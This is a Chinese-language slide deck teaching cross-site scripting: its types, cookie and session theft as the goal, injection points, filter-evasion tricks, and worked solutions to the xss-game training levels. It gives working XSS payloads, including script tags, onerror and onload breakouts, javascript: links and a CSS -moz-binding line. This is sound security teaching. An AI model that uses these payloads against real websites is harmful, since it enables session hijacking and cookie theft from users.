XSS原理與應用
OUTLINE
- 何為XSS?
- XSS技術
- LAB
何為XSS?
引進JavaScript前 =>
- 網頁內容大多是HTML(靜態傳遞)
- 更換內容須點擊連結,啟動新的HTTP request / reply
![](https://i.ytimg.com/vi/QIy874Wn1kM/maxresdefault.jpg)
引進JavaScript後 =>
惡意HTML標籤 / 腳本無意侵入、Cookie中毒、披露敏感資訊...
-
Cross-site Scripting,跨站腳本攻擊
- 使用各種手段將惡意程式碼注入目標網站
![](https://www.cloudflare.com/img/learning/security/threats/cross-site-scripting/xss-attack.png)
XSS種類:
廣義來說僅影響 Browser / Server 其中一邊
- Server => 反射式XSS、持久性XSS
- Client => DOM XSS、通用XSS
反射式XSS:
- Reflected XSS
- 最常見的XSS
- 僅影響單一使用者
- 不該出現的程式碼,不存在目標伺服器中
持久性XSS:
- Stored XSS
- 類似反射式XSS
- 保留在Web應用程式的後段資料庫、日誌檔
DOM XSS:
- Document Object Model XSS
- 純粹客戶端,無關伺服器
- 透過分段符號(#),便可能加資料到URL
- 通常封裝於一短URL
通用XSS:
通常要跳往功能鏈上一級,濫用Browser本身、套件、插件內的本質
XSS技術
XSS主要目的主要盜取Cookie和Session
比較一般的資料放在Cookie、機密資料放在Session
甚麼是Cookie?
- 儲存在Client端
- Browser不會記得上一個時間發生的事,然Cookie會記住
- 缺點:
- 加重連線負擔
- 以明碼傳遞
- 上限4KB
- 亦被竄改
甚麼是Session?
- 儲存在Server端
- 初入網站會給User一組ID,會根據ID給予相對應資料
- 缺點:
- 加重伺服器負擔
- 擴充性問題 => 無法在多台伺服器間共用
執行JavaScript腳本的地方
![](https://3.bp.blogspot.com/-tzo0D1DYtkY/WuAQIW5kXII/AAAAAAAAK-Y/pTzMO08VVjEAeyh4gS9yQIISpN3Jb0BCwCLcBGAs/s1600/xss.png)
‧script標籤
<script>alert("XSS");</script>
‧當作URL
<a href = 'javascript:alert("XSS")'/>
‧事件偵測
<a href='' onclick="prompt('link clicked')">test</a>
<img src='' onerror="alert(error message)">
<a href="javascript:alert("XSS")"></a>
‧放在CSS中
<!DOCTYPE html>
<html>
<body>
<style>
BODY{
-moz-binding: url("http://xss.rocks/xssmoz.xml#xss")
}
</style>
</body>
</html>
-
其他XSS技巧:
- url-encoding
- 字元取代
- 大小寫
-
<script-></script->
-
LAB
- 目標是引起alert()
- 該框的原碼可至Target code觀看
![](https://i.imgur.com/z4to7vF.png)
Solve:
1. 在搜尋錯誤後,會送出訊息到下列程式碼
2. 只需簡單將JavaScript的警示框訊息輸入進搜尋欄即可
message = "Sorry, no results were found for <b>" + query + "</b>."
<script>alert();</script>
![](https://i.imgur.com/E3jkwif.png)
Solve:
1. 能進行輸入行為的僅有該對話框,而在嘗試後發現其中也包含了HTML
<!DOCTYPE html>
<html>
<body>
<a href="javascript:alert()">test</a>
</body>
</html>
2. 故將完整的HTML輸入後,給以一個連結即可破解
![](https://i.imgur.com/ZpeeTaR.png)
Solve:
1. 在網址部分有給圖片連結的原理,而對應下列的程式碼
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
1. 在onerror觸發
在網址後方添加: ' onerror="alert()"
http://xss-game.appspot.com/level3/frame#' onerror="alert()"
因網址後方為num的值,添加後便成為
html += "<img src='/static/level3/cloud" + ' onerror="alert()" + ".jpg' />";
2. 直接更改程式碼
在網址後方添加: '/>;<script>alert()</script>
http://xss-game.appspot.com/level3/frame#'/>;<script>alert()</script>
因網址後方為num的值,添加後便成為
html += "<img src='/static/level3/cloud" + '/>;<script>alert()</script> + ".jpg' />";
因為突破點在img標籤內,可有兩種解法:
![](https://i.imgur.com/nCYoOsS.png)
Solve:
1. 在timer的部分直接讀取到startTimer的地方
2. 故破解點在讓onload直接執行兩個function。
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
再輸入框中輸入;
'), alert()//
該行程式變成:
<img src="/static/loading.gif" onload="startTimer(''), alert()//;" />
XSS原理與應用
By Иo1lz
XSS原理與應用
- 146